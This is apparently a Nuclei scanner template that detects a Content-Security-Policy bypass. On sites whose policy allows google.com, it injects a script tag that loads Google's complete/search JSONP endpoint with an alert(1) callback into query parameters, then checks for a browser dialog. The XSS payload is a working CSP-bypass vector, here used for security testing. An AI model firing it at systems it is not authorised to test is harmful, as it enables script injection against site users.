id: google-complete-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Complete
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-complete,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_complete_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_complete_csp_xss == true"
# digest: 4b0a00483046022100b919aab6cba1feda8ce6944c4d6a10337db0a18a79611f21a422495ba3fefe360221008593d2750fd147e3b6d9d27f85f454c37014e793d43b6d6def7853a56c68618a:922c64590222798bb761d5b6d8e72950